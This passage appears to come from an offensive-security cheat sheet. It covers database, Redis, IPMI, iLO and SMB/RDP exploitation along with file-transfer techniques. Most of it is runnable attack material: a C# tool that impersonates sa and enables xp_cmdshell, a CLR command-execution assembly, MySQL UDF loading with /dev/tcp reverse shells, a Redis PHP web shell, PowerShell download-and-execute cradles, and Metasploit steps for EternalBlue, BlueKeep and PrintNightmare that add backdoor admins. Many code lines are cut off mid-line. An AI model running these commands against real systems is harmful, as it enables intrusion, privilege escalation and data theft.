// Enumerate login name (SQL Server login or Domain/Windows username)


string result = sqlQuery("SELECT SYSTEM_USER;", con);
Console.WriteLine($"[*] Logged in as: {result}");

// Enumerate database username


result = sqlQuery("SELECT USER;", con);
Console.WriteLine($"[*] Mapped to the user: {result}");

// Check if we have public role assigned


result = sqlQuery("SELECT IS_SRVROLEMEMBER('public');", con);
Int32 val = Int32.Parse(result.ToString());
if (val == 1)
{
Console.WriteLine("[*] User is a member of public role");
}
else
{
Console.WriteLine("[*] User is NOT a member of public role");
}

// Invoke xp_dirtree to coerce authentication on attacker's machine


string lhost = args[0];
sqlQuery($@"EXEC master..xp_dirtree '\\{lhost}\test';", con);
Console.WriteLine($"[*] Invoked xp_dirtree against {lhost}");

// Enumerate logins that we can impersonate


result = sqlQuery("SELECT distinct b.name FROM sys.server_permissions a INNER JOIN
Console.WriteLine($"[*] Logins that can be impersonated:\n{result}");

// Impersonate sa user
result = sqlQuery("EXECUTE AS LOGIN = 'sa'; SELECT SYSTEM_USER;", con);
Console.WriteLine($"[*] Executing in context of impersonated user: {result}");

// Impersonate dbo database user


result = sqlQuery("use msdb; EXECUTE AS USER = 'dbo'; SELECT USER;", con);
Console.WriteLine($"[*] Executing in context of impersonated login: {result}");

// Execute OS commands via xp_cmdshell


sqlQuery("EXECUTE AS LOGIN = 'sa';", con);
sqlQuery("EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_config
Console.WriteLine("[+] Enabled xp_cmdshell");
result = sqlQuery("EXEC xp_cmdshell whoami", con);
Console.WriteLine($"[*] xp_cmdshell: {result}");

// Execute OS commands via Ole Automation Procedures


sqlQuery("EXECUTE AS LOGIN = 'sa';", con);
sqlQuery("EXEC sp_configure 'Ole Automation Procedures',1; RECONFIGURE; ", con);
sqlQuery(@"DECLARE @myshell INT; EXEC sp_oacreate 'wscript.shell', @myshell OUTPUT

con.Close();
}
}
}

Custom Assemblies

Load and trigger custom assembly:

SqlCustomAssembly.cs
using System;
using System.Data.SqlClient;

namespace SqlProcedure
{
class Program
{
static string sqlQuery(string query, SqlConnection con)
{
SqlCommand command = new SqlCommand(query, con);
SqlDataReader reader = command.ExecuteReader();
string result = "";
try
{
while (reader.Read()) { result += $"{reader[0]}\n"; }
result = result.Remove(result.Length - 1);
}
catch { }
reader.Close();
return result;
}

static void Main(string[] args)


{
// Authenticate
string sqlServer = "SQLSRV01.megacorp.local";
string database = "master";

string conString = $"Server = {sqlServer}; Database = {database}; Integrated Secur


SqlConnection con = new SqlConnection(conString);

try
{
con.Open();
Console.WriteLine("[+] Auth success!");
}
catch
{
Console.WriteLine("[-] Auth failed");
Environment.Exit(0);
}

// Impersonate sa user
sqlQuery("EXECUTE AS LOGIN = 'sa';", con);

// Drop existing procedure and assembly


sqlQuery(@"use msdb; DROP PROCEDURE IF EXISTS SqlCmdExec;", con);
sqlQuery(@"use msdb; DROP ASSEMBLY IF EXISTS myAssembly1;", con);

// Enable CLR integration


sqlQuery("use msdb; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC
Console.WriteLine("[+] Enabled CLR integration");
// Create new assembly
sqlQuery(@"CREATE ASSEMBLY myAssembly1 FROM 'C:\Windows\Tasks\SqlCmdExec.dll' WITH
//sqlQuery(@"CREATE ASSEMBLY my_assembly FROM 0x31337... WITH PERMISSION_SET = UNS
Console.WriteLine("[+] Created new assembly");
// Create new procedure
sqlQuery(@"CREATE PROCEDURE [dbo].[SqlCmdExec] @execCommand NVARCHAR (4000) AS EXT
Console.WriteLine("[+] Created new procedure");
// Trigger custom class for RCE
string result = sqlQuery("EXEC SqlCmdExec 'whoami';", con);
Console.WriteLine($"[*] SqlCmdExec: {result}");
con.Close();
}
}
}

Custom assembly code example (must be compiled to SqlCmdExec.dll ):

SqlCmdExec.cs
using Microsoft.SqlServer.Server;
using System.Data.SqlTypes;
using System.Diagnostics;

public class StoredProcedures


{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void cmdExec(SqlString execCommand)

{
Process proc = new Process();
proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
proc.StartInfo.Arguments = string.Format($@" /c {execCommand}");
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();

SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", System.Data.SqlDbTy


SqlContext.Pipe.SendResultsStart(record);
record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
SqlContext.Pipe.SendResultsRow(record);
SqlContext.Pipe.SendResultsEnd();
proc.WaitForExit();
proc.Close();
}
}

Convert custom assembly DLL to a hex string:

Convert-AssemblyToHex.ps1
$assemblyFile = "SqlCmdExec.dll"
$stringBuilder = New-Object -Type System.Text.StringBuilder
$fileStream = [IO.File]::OpenRead($assemblyFile)
while (($byte = $fileStream.ReadByte()) -gt -1) {
$stringBuilder.Append($byte.ToString("X2")) | Out-Null
}
$stringBuilder.ToString() -join "" | Out-File SqlCmdExec.txt
Tools
https://www.heidisql.com/download.php

sqsh

$ sqsh -S 127.0.0.1 -U 'MEGACORP\snovvcrash' -P 'Passw0rd!'


1> xp_cmdshell "powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('htt
2> GO

mssqlclient.py

$ mssqlclient.py MEGACORP/snovvcrash:'Passw0rd!'@127.0.0.1 [-windows-auth]


SQL> xp_cmdshell "powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString(\"

mssql_shell.py

https://github.com/Alamot/code-snippets/blob/master/mssql/mssql_shell.py

Change MSSQL_SERVER , MSSQL_USERNAME and MSSQL_PASSWORD before running.

A scenario when abusing SeImpersonatePrivilege with PrintSpoofer (BadPotato):

$ python3 mssql_shell.py
CMD MSSQL$SQLEXPRESS@SQL01 C:\Windows\system32> UPLOAD pwn.exe \Windows\System32\spool\drivers
CMD MSSQL$SQLEXPRESS@SQL01 C:\Windows\system32> UPLOAD Invoke-BadPotato.ps1 \Windows\System32\
// . .\Invoke-BadPotato.ps1; Invoke-BadPotato -C "C:\Windows\System32\spool\drivers\color\pwn
CMD MSSQL$SQLEXPRESS@SQL01 C:\Windows\system32> powershell -enc LgAgAC4AXABJAG4AdgBvAGsAZQAtAE

mssql-cli

https://github.com/dbcli/mssql-cli

$ python -m pip install mssql-cli


$ mssql-cli -S 127.0.0.1 -U 'MEGACORP\snovvcrash' -P 'Passw0rd!'

PowerUpSQL

https://github.com/NetSPI/PowerUpSQL

PS > Get-SQLInstanceDomain
PS > Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQ
PS > Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQ
PS
PS >
> Get-SQLInstanceDomain
Get-SQLQuery -Instance|"SQLSRV01.megacorp.local,1433"
Get-SQLConnectionTestThreaded -Threads 10 -Username
-Query "select sa -Password
@@servername"
PS > Invoke-SQLOSCmd -Username sa -Password 'Passw0rd!' -Instance sqlsrv01.megacorp.local -Com
PS > Invoke-SQLAudit -Instance WEB01 -Username sa -Password 'Passw0rd!' -Verbose

DAFT

https://github.com/NetSPI/DAFT

ESC

https://github.com/NetSPI/ESC

MySQL / MariaDB

Basic CLI syntax:

$ mysql -h 127.0.0.1 -P 3306 -u snovvcrash -p'Passw0rd!' -e 'show databases;'

Basic enumeration:

mysql> show GRANTS;


mysql> select @@hostname, @@tmpdir, @@version, @@version_compile_machine, @@plugin_dir;

UDF PrivEsc

https://www.exploit-db.com/exploits/1518
https://github.com/mysqludf/lib_mysqludf_sys
https://gist.github.com/snovvcrash/efeb79d3e2648ec5009dd2ea7052f8b9

Install dependencies:

$ sudo apt install libmariadbclient-dev -y


$ git clone https://github.com/mysqludf/lib_mysqludf_sys && cd lib_mysqludf_sys

Compile .so library (x86 example):

$ sudo apt install libc6-dev-i386 -y


$ gcc lib_mysqludf_sys.c -o lib_mysqludf_sys_x86.so -m32 -Wl,--hash-style=both -fPIC -Wall -I/
Compile .so library (x64 example):

$ gcc lib_mysqludf_sys.c -o lib_mysqludf_sys_x64.so -m64 -Wl,--hash-style=both -fPIC -Wall -I/

Convert library to hex:

$ xxd -p lib_mysqludf_sys.so | tr -d '\n'

Load library and call user-defined sys_exec function with a rev-shell.

MySQL (x86 example):

mysql> use mysql;


mysql> create table pwn(line blob);
mysql> insert into pwn values(load_file('/tmp/lib_mysqludf_sys_x86.so'));
mysql> select * from pwn into dumpfile '/usr/lib/lib_mysqludf_sys_x86.so';

Or load it from hex:


mysql> set @pwn = '7F..00';
mysql> select unhex(@pwn) into dumpfile '/usr/lib/lib_mysqludf_sys_x86.so';

mysql> create function sys_exec returns integer soname 'lib_mysqludf_sys_x86.so';


mysql> select sys_exec("/bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/1337 0>&1'");

MariaDB (x64 example):

MariaDB> show variables like '%plugin%'; # get lib path


MariaDB> use mysql;
MariaDB> create table pwn(line blob);
MariaDB> insert into pwn values(load_file('/tmp/lib_mysqludf_sys_x64.so'));
MariaDB> select * from pwn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysql

Or load it from hex:


MariaDB> set @pwn = 0x7F..00;
MariaDB> select binary @pwn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysq

MariaDB> create function sys_exec returns integer soname 'lib_mysqludf_sys_x64.so';


MariaDB> select sys_exec("/bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/1337 0>&1'");

Oracle

https://xakep.ru/2015/04/07/195-oracle-db/
https://www.blackhat.com/presentations/bh-usa-09/GATES/BHUSA09-Gates-OracleMetasploit-
SLIDES.pdf
https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener
http://www.red-database-security.com/wp/oracle_cheat.pdf

TNS Poison

http://www.joxeankoret.com/download/tnspoison.pdf

Oracle Database TNS Poisoning Attacks CVE-2012-1675

Check with Nmap:

$ sudo wget https://gist.githubusercontent.com/JukArkadiy/3d6cff222d1b87e963e7/raw/fbe6fe17a9b


$ sudo nmap -v -n -Pn -sV --script oracle-tns-poison.nse -oA CVE-2014-0160/nmap/tns-poison -p1

Brute SID with MSF:

msf > use auxiliary/scanner/oracle/sid_brute


msf > set RHOSTS file:oracle.txt
msf > set THREADS 25
msf > set VERBOSE false
msf > run

Brute SID with odat:

$ odat sidguesser -s 10.10.13.37 -p 1521

Exploit with odat:


https://github.com/quentinhardy/odat/wiki/tnspoison

$ odat tnspoison -s 10.10.13.37 -d <SID> --test-module


$ odat tnspoison -s 10.10.13.37 -d <SID> --poison

Tools

odat

https://github.com/quentinhardy/odat/releases

https://github.com/quentinhardy/odat#mind-map---odat--oracle-database-pentests

Install manually (depreciated):

https://github.com/quentinhardy/odat#installation-optional-for-development-version

$ git clone https://github.com/quentinhardy/odat ~/tools/odat && cd ~/tools/odat


$ git submodule init && git submodule update
$ sudo apt install libaio1 python3-dev alien python3-pip
$ wget https://download.oracle.com/otn_software/linux/instantclient/19600/oracle-instantclient
$ wget https://download.oracle.com/otn_software/linux/instantclient/19600/oracle-instantclient
$ sudo alien --to-deb *.rpm
$ sudo dpkg -i *.deb
$ vi /etc/profile
...
export ORACLE_HOME=/usr/lib/oracle/19.6/client64/
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$ORACLE_HOME/lib
export PATH=${ORACLE_HOME}bin:$PATH
...
$ pip3 install cx_Oracle
$ python3 odat.py -h

Redis

https://packetstormsecurity.com/files/134200/Redis-Remote-Command-Execution.html
2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
https://github.com/holys/redis-cli/releases

https://github.com/antirez/redis

Check for anonymous login:


$ nc 127.0.0.1 6379
Escape character is '^]'.
echo "Hey, no AUTH required!"
$21
Hey, no AUTH required!
quit
+OK
Connection closed by foreign host.

Sensitive injection points for testing:

/var/www/html
/home/redis/.ssh
/var/lib/redis/.ssh
/var/spool/cron/crontabs
/var/spool/cron

$ for dname in `cat dirs.txt`; do redis-cli -h 127.0.0.1 config set dir $dname | grep OK && ec

Web Shell

https://book.hacktricks.xyz/pentesting/6379-pentesting-redis

$ redis-cli -h 127.0.0.1 flushall


$ redis-cli -h 127.0.0.1 set pwn '<?php system($_REQUEST['cmd']); ?>'
$ redis-cli -h 127.0.0.1 config set dbfilename shell.php
$ redis-cli -h 127.0.0.1 config set dir /var/www/html
$ redis-cli -h 127.0.0.1 save

SSH Public Key

https://github.com/Avinash-acid/Redis-Server-Exploit

$ ssh-keygen -t ecdsa -s 521 -f key


$ (echo -e "\n\n"; cat key.pub; echo -e "\n\n") > key.txt
$ redis-cli -h 127.0.0.1 flushall
$ cat foo.txt | redis-cli -h 127.0.0.1 -x set pwn
$ redis-cli -h 127.0.0.1 config set dbfilename authorized_keys
$ redis-cli -h 127.0.0.1 config set dir /var/lib/redis/.ssh
$ redis-cli -h 127.0.0.1 save
SQLite

https://xakep.ru/2010/11/03/53551/

SELECT tbl_name FROM sqlite_master WHERE type='table' AND tbl_name NOT like 'sqlite_%';
SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%
SELECT username,password FROM secret_database;

Authentication Brute Force

Hydra

$ hydra -V -t 20 -f -I -L logins.lst -P /usr/share/john/password.lst 127.0.0.1 -s 8888 smtp


$ hydra -V -t 20 -f -I -l admin -P /usr/share/john/password.lst 127.0.0.1 -s 8888 ftp

Patator

$ patator smtp_login host=127.0.0.1 port=8888 user=FILE0 password=FILE1 0=logins.lst 1=/usr/sh


$ patator ftp_login host=127.0.0.1 port=8888 user=admin password=FILE0 0=/usr/share/john/passw

crowbar

https://github.com/galkan/crowbar

RDP

$ crowbar -b rdp -s 192.168.1.0/24 -u snovvcrash -c 'Passw0rd!' -l ~/ws/logs/crowbar.log -o ~/

File Transfer

https://blog.ropnop.com/transferring-files-from-kali-to-windows/
https://github.com/evilmog/evilmog/wiki/DNS-Download-Cradle

Об HTTP-серверах для трансфера файлов в Linux


snovvcrash@gh-pages:~$ _

Base64
String to base64 and POST with PowerShell:

PS > $str = cmd /c net user /domain


PS > $base64str = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))
PS > IWR -Uri http://127.0.0.1/msg -Method POST -Body $base64str

File to base64 with certutil :

Cmd > certutil -encode <FILE_TO_ENCODE> C:\Windows\Temp\encoded.b64


Cmd > type C:\Windows\Temp\encoded.b64

Base64 file transfer from Linux to Windows:

$ base64 -w0 tunnel.aspx; echo


...BASE64_CONTENTS...
PS > Add-Content -Encoding UTF8 tunnel.b64 "<BASE64_CONTENTS>" -NoNewLine
PS > $data = Get-Content -Raw tunnel.b64
PS > [IO.File]::WriteAllBytes("C:\inetpub\wwwroot\uploads\tunnel.aspx", [Convert]::FromBase64S

Hex
Compress a binary file and transfer it to Windows by copy-pasting commands into the console:

$ upx -9 file.exe
$ exe2hex -x file.exe -p file.cmd
$ cat file.cmd | xclip -i -sel c

PowerShell
PowerShell upload file:
PS > (New-Object Net.WebClient).UploadFile("http://10.10.13.37/file.txt", "file.txt")

PowerShell auto detect proxy, download file from remote HTTP server and run it:

$proxyAddr=(Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Setting

PowerShell manually set proxy and upload file to remote HTTP server:

$client=New-Object System.Net.WebClient;$proxy=New-Object System.Net.WebProxy("http://proxy.me

Another proxy-aware download cradle:

New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null


$keys = Get-ChildItem "HKU:\" -ErrorAction SilentlyContinue
ForEach ($key in $keys) {if ($key.Name -like "*S-1-5-21-*") {$start=$key.Name.Substring(10);br
$proxyAddr=(Get-ItemProperty -Path "HKU:$start\Software\Microsoft\Windows\CurrentVersion\Inter
[System.Net.WebRequest]::DefaultWebProxy = New-Object System.Net.WebProxy("http://$proxyAddr")
$wc = New-Object System.Net.WebClient
$wc.DownloadString("http://10.10.13.37/test.txt") | IEX
Remove-PSDrive -Name HKU -Force

/dev/tcp
Attacker is the sender:

# Sender:
root@kali:~$ tar -zcvf folder.tar.gz folder
root@kali:~$ nc -w3 -lvnp 1234 < folder.tar.gz
# Recipient:
www-data@victim:~$ bash -c 'cat < /dev/tcp/127.0.0.1/1234 > .folder.tar.gz'
www-data@victim:~$ tar -zxvf .folder.tar.gz

Victim is the sender:

# Recipient:
root@kali:~$ nc -w3 -lvnp 1234 > file.txt
# Sender:
www-data@victim:~$ bash -c 'cat < file.txt > /dev/tcp/127.0.0.1/1234'

SMB
smbserver.py

Start SMB server:

$ sudo smbserver.py -smb2support share `pwd`

Mount SMB in Windows with net use :

$ sudo smbserver.py -username snovvcrash -password 'Passw0rd!' -smb2support share `pwd`


Cmd > net use Z: \\10.10.13.37\share
Cmd > net use Z: \\10.10.13.37\share /u:snovvcrash 'Passw0rd!'

Mount SMB in Windows with New-PSDrive :

$ sudo smbserver.py -username snovvcrash -password 'Passw0rd!' -smb2support share `pwd`


PS > $pass = 'Passw0rd!' | ConvertTo-SecureString -AsPlainText -Force

PS > $cred = New-Object System.Management.Automation.PSCredential('snovvcrash', $pass)


Or
PS > $cred = New-Object System.Management.Automation.PSCredential('snovvcrash', $(ConvertTo-Se
PS > New-PSDrive -Name Z -Root \\10.10.13.37\share -Credential $cred -PSProvider FileSystem
PS > cd Z:

net share

Cmd > net share pentest=c:\smb_pentest /GRANT:"Anonymous Logon,FULL" /GRANT:"Everyone,FULL"


Or
Cmd > net share pentest=c:\smb_pentest /GRANT:"Administrator,FULL"
Cmd > net share pentest /delete

FTP

$ python -m pip install pyftpdlib


$ python -m pyftpdlib -Dwp 2121
Cmd > cd C:\Windows\System32\spool\drivers\color
Cmd > echo 'open 127.0.0.1 2121' > ftp.txt
Cmd > echo 'user anonymous' >> ftp.txt
Cmd > echo 'anonymous' >> ftp.txt
Cmd > echo 'binary' >> ftp.txt
Cmd > echo 'put file.bin' >> ftp.txt
Cmd > echo 'bye' >> ftp.txt
Cmd > ftp -v -n -s:ftp.txt
TFTP
Send file.exe from Windows to Linux (TFTP client must be enabled on Windows):

$ sudo atftpd --daemon --bind 10.10.13.37 --port 69 ./tftp


Cmd > tftp -i 10.10.13.37 put file.exe
$ sudo pkill atftpd

IPMI
Intelligent Platform Management Interface

https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/
https://habr.com/ru/company/selectel/blog/439834/

Discovery

msf > use auxiliary/scanner/ipmi/ipmi_version


msf > set RHOSTS file:ipmi.txt
msf > set THREADS 25
msf > run

Dump Hashes
CVE-2013-4786

Dump hashes:

msf > use auxiliary/scanner/ipmi/ipmi_dumphashes


msf > set OUTPUT_HASHCAT_FILE ipmi_hashes.txt
msf > set RHOSTS file:ipmi.txt
msf > set THREADS 25
msf > run

Recover plaintext passwords:

$ hashcat -m 7300 -O -a 0 -w 4 --session=ipmi -o ipmi.out ipmi.in seclists/Passwords/darkc0de


Cipher Zero
CVE-2013-4805

Discover with MSF:

msf > use auxiliary/scanner/ipmi/ipmi_cipher_zero


msf > set RHOSTS file:ipmi.txt
msf > set THREADS 25
msf > run

Guess existing admin username. If ADMIN username is correct, the list command will succeed
(password doesn't matter):

$ sudo apt install ipmitool

$ ipmitool -I lanplus -C 0 -H 127.0.0.1 -U ADMIN -P DummyPassw0rd user list

Add new admin user (only existing admin username is needed):

$ ipmitool -I lanplus -C 0 -H 127.0.0.1 -U ADMIN -P DummyPassw0rd user set name <ID> snovvcras
$ ipmitool -I lanplus -C 0 -H 127.0.0.1 -U ADMIN -P DummyPassw0rd user set password <ID> 'Pass
$ ipmitool -I lanplus -C 0 -H 127.0.0.1 -U ADMIN -P DummyPassw0rd user priv <ID> 4
$ ipmitool -I lanplus -C 0 -H 127.0.0.1 -U ADMIN -P DummyPassw0rd user enable <ID>

Anonymous Authentication
Can be discovered with MSF ipmi_dumphashes but also with ipmitool:

$ ipmitool -I lanplus -H 127.0.0.1 -U '' -P '' user list

Change password of a named user account:

$ ipmitool -I lanplus -H 127.0.0.1 -U '' -P '' user set password <ID> 'Passw0rd!'

HPE iLO 4

https://codeby.net/threads/poluchaem-dostup-k-hp-ilo.63224/
https://github.com/airbus-seclab/ilo4_toolbox

Add Admin User

CVE-2017-12542

Exploit with Python:

https://www.exploit-db.com/exploits/44005

$ ./44005.py -t -e -u snovvcrash -p 'Passw0rd!' 127.0.0.1

Exploit with MSF:

msf > use auxiliary/admin/hp/hp_ilo_create_admin_account


msf > set RHOSTS 10.10.13.37
msf > set USERNAME snovvcrash
msf > run

Kiosk Breakout

http://www.ikat.kronicd.net/

Windows

https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-
environments/

https://www.trustedsec.com/blog/kioskpos-breakout-keys-in-windows/
https://habr.com/ru/company/dsec/blog/505600/

Navigating with environment variables and shell directive:

ENV Location

%HOMEDRIVE% , %SystemDrive% "C:\"

%WINDIR% , %SystemRoot% "C:\Windows"

%PROGRAMFILES% "C:\Program Files"

%COMSPEC% "C:\Windows\System32\cmd.exe"
%COMMONPROGRAMFILES% "C:\Program Files\Common Files"
%HOMEPATH% , %USERPROFILE% "C:\Documents and Settings\Username"

%ALLUSERSPROFILE% "C:\Documents and Settings\All Users"

%PROGRAMFILES(X86)% "C:\Program Files (x86)" (only in 64-bit version)

"C:\Documents and Settings\Username\Applicatio


%APPDATA%
Data"

"C:\Documents and Settings\Username\Local


%TEMP% , %TMP%
Settings\Temp"

"C:\Program Files (x86)\Common Files" (only in 6


%COMMONPROGRAMFILES(x86)%
bit version)

Command Location

shell:System "C:\Windows\System32"

shell:Downloads Current user's "Downloads" folder

shell:MyComputerFolder "This PC" window

Linux

gtkdialog

HTLM-based pseudo terminal emulator (useful when there's no other terminal apps available):

shell.html
<window>
<vbox>
<vbox scrollable="true" width="500" height="400">
<edit>
<variable>CMDOUTPUT</variable>
<input file>/tmp/termout.txt</input>
</edit>
</vbox>
<hbox>
<text><label>Command:</label></text>
<entry><variable>CMDTORUN</variable></entry>
<button>
<label>Run</label>
<action>$CMDTORUN > /tmp/termout.txt 2>&1</action>
<action>refresh:CMDOUTPUT</action>
</button>
</hbox>
</vbox>
</window>

The shell can be invoked with /usr/bin/gtkdialog -f shell.html

Low-Hanging Fruits

net_api
CVE-2008-4250, MS08-067

Check:

$ sudo nmap -n -Pn -sV --script smb-vuln-ms08-067 10.10.13.37 -p139,445


Or

msf > use exploit/windows/smb/ms08_067_netapi


msf > set RHOSTS file:smb.txt
msf > check

Exploit:

msf > use exploit/windows/smb/ms08_067_netapi


msf > set RHOSTS file:smb.txt
msf > set LHOST eth0
msf > set LPORT 1337
msf > run

EternalBlue
CVE-2017-0144, MS17-010

MSF

Check:

$ sudo nmap -n -Pn -sV --script smb-vuln-ms17-010 10.10.13.37 -p139,445


Or
msf > use auxiliary/scanner/smb/smb_ms17_010
msf > set RHOSTS file:smb.txt
msf > set THREADS 25
msf > run
Exploit with:

msf > use exploit/windows/smb/ms17_010_eternalblue


msf > set RHOSTS file:smb.txt
msf > set LHOST eth0
msf > set LPORT 1337
msf > run

EternalRomance / EternalSynergy / EternalChampion

Exploit with ms17_010_psexec :

msf > use exploit/windows/smb/ms17_010_psexec


msf > set RHOSTS file:smb.txt
msf > set LHOST eth0
msf > set LPORT 1337
msf > run

Exploit with ms17_010_command :

msf > use auxiliary/admin/smb/ms17_010_command


msf > set RHOSTS file:smb.txt
msf > set COMMAND "net user snovvcrash Passw0rd! /add && net localgroup administrators snovvcr
msf > run

Manually

https://github.com/helviojunior/MS17-010
https://0xdf.gitlab.io/2019/02/21/htb-legacy.html#ms-17-010

Send MSF payload and execute it with send_and_execute.py :

$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread -f exe -a


$ python send_and_execute.py 10.10.13.38 rev.exe

Or just execute commands on host via zzz_exploit.py (at least one named pipe must be accessible on
target):

$ python zzz_exploit.py

zzz_exploit.py
...
def smb_pwn(conn, arch):
service_exec(conn, r'cmd /c net user snovvcrash Passw0rd! /add')
service_exec(conn, r'cmd /c net localgroup administrators snovvcrash /add')
service_exec(conn, r'cmd /c netsh firewall set opmode disable')
...

For x86 EternalBlue shellcodes use AutoBlue-MS17-010.

FuzzBunch (Wine)

https://github.com/fuzzbunch/fuzzbunch

https://0x00sec.org/t/porting-the-leaked-equation-group-eqgrp-fuzzbunch-tool-to-linux/1956

https://habr.com/ru/post/327490/

SambaCry

CVE-2017-7494 (Samba 3.5.0 < 4.4.14/4.5.10/4.6.4)

MSF

msf > use exploit/linux/samba/is_known_pipename


msf > set SMB::AlwaysEncrypt false
msf > set SMB::ProtocolVersion 1
msf > run

Manually

https://github.com/opsxcq/exploit-CVE-2017-7494
https://github.com/joxeankoret/CVE-2017-7494

Compile .so SUID shared library:

pwn.c
// gcc -shared -fPIC -o pwn.so pwn.c

#include <stdio.h>
#include <stdlib.h>

static void pwn() __attribute__((constructor));

void pwn() {
setresuid(0,0,0);
system("echo 'root:Passw0rd!'|chpasswd");
}

Get real share path on the target's filesystem:

$ rpcclient -U'%' -c'netsharegetinfo ShareName' 10.10.13.37


path: /home/snovvcrash/sharename

Upload pwn.so to target and then run the exploit:

$ pip install virtualenv


$ virtualenv -p /usr/bin/python2.7
$ source venv/bin/activate.sh
$ pip install -r requirements.txt
$ . venv/bin/activate
$ ./exploit.py -t 10.10.13.37 -e pwn.so -s ShareName -r /home/snovvcrash/sharename/pwn.so -u a

BlueKeep
CVE-2019-0708

Check:

msf > use auxiliary/scanner/rdp/cve_2019_0708_bluekeep


msf > set RHOSTS file:rdp.txt
msf > set THREADS 25
msf > run

Exploit:

msf > use exploit/windows/rdp/cve_2019_0708_bluekeep_rce


msf > set RHOSTS file:rdp.txt.txt
msf > set LHOST eth0
msf > set LPORT 1337
msf > run

PrintNightmare
CVE-2021-16751, CVE-2021-34527

https://0xdf.gitlab.io/2021/07/08/playing-with-printnightmare.html
https://pentestlab.blog/2021/08/17/domain-escalation-printnightmare/
Check

CrackMapExec

https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/modules/spooler.py

$ cme smb hosts.txt -u snovvcrash -p 'Passw0rd!' -M spooler

ItWasAllADream

https://github.com/byt3bl33d3r/ItWasAllADream

$ poetry run itwasalladream -d megacorp.local -u snovvcrash -p 'Passw0rd!' 192.168.1.0/24

Exploit

C/C++

RCE (fork of the original repo):

https://github.com/afwu/PrintNightmare

LPE:

https://github.com/hlldz/CVE-2021-1675-LPE

Python

RCE:

https://github.com/cube0x0/CVE-2021-1675/blob/main/CVE-2021-1675.py
https://github.com/cube0x0/CVE-2021-1675/blob/main/SharpPrintNightmare/CVE-2021-1675.py
https://www.hackthebox.eu/blog/windows-protocols-python

Usage

1. Prepare an SMB share with anonymous authentication allowed ( smbserver.py also works):

2. Generate an evil DLL: a С2 stager / add user to a privileged group (1, 2, 3, etc.) / invoke a custom
command (see example below).
3. Run the exploit:

$ python CVE-2021-1675.py megacorp.local/snovvcrash:'Passw0rd!'@192.168.1.11 '\\10.10.13.37\sh


pwn.c
// x86_64-w64-mingw32-gcc pwn.c -o pwn.dll -shared

#include <windows.h>
#include <stdlib.h>
#include <stdio.h>

